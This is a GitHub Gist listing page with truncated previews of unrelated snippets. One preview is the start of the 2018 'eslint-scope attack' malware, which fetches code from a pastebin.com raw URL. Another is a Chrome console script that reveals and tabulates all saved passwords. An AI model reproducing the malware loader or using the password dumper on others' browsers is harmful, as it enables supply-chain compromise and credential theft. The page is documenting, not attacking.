Skip to content

Instantly share code, notes, and snippets.

@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
@egyjs
egyjs / Direct Link of YouTube videos.md
Last active November 11, 2024 10:13
PHP API To get Direct Link of YouTube videos
@dylanmckay
dylanmckay / facebook-contact-info-summary.rb
Last active July 3, 2025 21:22
A Ruby script for collecting phone record statistics from a Facebook user data dump
#! /usr/bin/env ruby
# NOTE: Requires Ruby 2.1 or greater.
# This script can be used to parse and dump the information from
# the 'html/contact_info.htm' file in a Facebook user data ZIP download.
#
# It prints all cell phone call + SMS message + MMS records, plus a summary of each.
#
# It also dumps all of the records into CSV files inside a 'CSV' folder, that is created
@saber-nyan
saber-nyan / changes.diff
Last active February 13, 2020 02:43
Удаление телеметрии и надоедающего уведомления из VK Coffee (http://4pda.ru/forum/index.php?showtopic=701681)
Используйте Apktool 2.2.3 для декомпиляции.
diff --git a/./apktooled-old/smali/com/vkcoffee/android/Auth.smali b/./apktooled-new/smali/com/vkcoffee/android/Auth.smali
index aee9908..0cf48b3 100644
--- a/./apktooled-old/smali/com/vkcoffee/android/Auth.smali
+++ b/./apktooled-new/smali/com/vkcoffee/android/Auth.smali
@@ -338,14 +338,14 @@
.line 113
.local v7, "egorIdiNahui":Ljava/lang/String;
@mdcallag
mdcallag / gist:cd9ef5a189025892b5317a6834c30e6e
Last active October 19, 2019 13:29
myrocks march 17 and later my.cnf
[mysqld]
sql_mode=no_engine_substitution,no_unsigned_subtraction
default_tmp_storage_engine=MyISAM
sync_relay_log_info=100
relay_log_recovery=1
relay_log_info_repository=FILE
eq_range_index_dive_limit=1000
gtid_mode=OFF
enforce_gtid_consistency=ON
lock_wait_timeout=60
--
-- GEOIP IN POSTGRESQL
--
-- We use two approaches. First using PostgreSQL inet and cidr types and indexing (PostgreSQL 9.4 and later),
-- and then using ip4r (https://github.com/RhodiumToad/ip4r).
-- The performance of ip4r indexes is significantly better than PostgreSQL's own index.
-- An operation that took 42s using ip4r took 47 minutes using PostgreSQL's cidr index.
--
@jced-artem
jced-artem / UopzTrait.php
Last active June 12, 2021 08:10
Wrapper for php uopz library's functions. Very useful for unit testing for changing function's behaviour in runtime.
<?php
/**
* Trait UopzTrait
*
* Useful wrapper for uopz library's functions
*/
trait UopzTrait
{
/**
@Ajax30
Ajax30 / chromeLoginDataExporter.js
Last active July 9, 2017 16:09
Export the passwords stored in your Google Chrome browser
var decryptedRow="";
var pm = PasswordManager.getInstance();
var model = pm.savedPasswordsList_.dataModel;
var pl = pm.savedPasswordsList_;
for(i=0;i<model.length;i++){
PasswordManager.requestShowPassword(i);
};
setTimeout(function(){
var bootstrapStylesheet = '<link rel="stylesheet" type="text/css" href="http://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">';
tableStart = '<table class="table table-striped"><thead>';
var decryptedRow="";
var pm = PasswordManager.getInstance();
var model = pm.savedPasswordsList_.dataModel;
var pl = pm.savedPasswordsList_;
for(i=0;i<model.length;i++){
PasswordManager.requestShowPassword(i);
};
setTimeout(function(){
decryptedRow += '"Name","URL","Username","Password"';
for(i=0; i<model.length; i++){
function main() {
var arr = [], array=[], h = 0;
for(arr_i = 0; arr_i < 6; arr_i++){
arr[arr_i] = readLine().split(' ');
arr[arr_i] = arr[arr_i].map(Number);
}
for(var i = 0; i < 4; i++){
for(var j = 0; j < 4; j++){
array[h] = arr[i][j] + arr[i][j+1] + arr[i][j+2] + arr[i+1][j+1]+ arr[i+2][j]+ arr[i+2][j+1]+ arr[i+2][j+2];
h++;